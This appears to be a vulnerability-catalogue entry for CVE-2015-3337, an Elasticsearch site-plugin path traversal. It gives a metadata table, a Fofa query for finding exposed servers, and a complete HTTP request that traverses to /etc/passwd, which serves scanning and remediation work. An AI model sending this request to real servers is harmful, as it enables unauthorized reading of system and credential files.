| Title | Elasticsearch - Local File Inclusion |
|---|---|
| Author | pdteam |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to read sensitive files on the server. |
| Remediation | Upgrade to a patched version of Elasticsearch or apply the necessary security patches. |
| CVSS Score | 4.3 |
| EPSS Score | 0.90729 |
| CVE ID | CVE-2015-3337 |
| CWE ID | CWE-22 |
| Fofa Query | index_not_found_exception |
| Tags | cve2015 cve packetstorm edb elastic lfi elasticsearch plugin vuln |
Elasticsearch before 1.4.5 and 1.5.x before 1.5.2 allows remote attackers to read arbitrary files via unspecified vectors when a site plugin is enabled.
GET /_plugin/head/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.8
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-3337.yaml
🦈 Packet Capture: ⬇️ Download cve-2015-3337.pcap
N/AN/A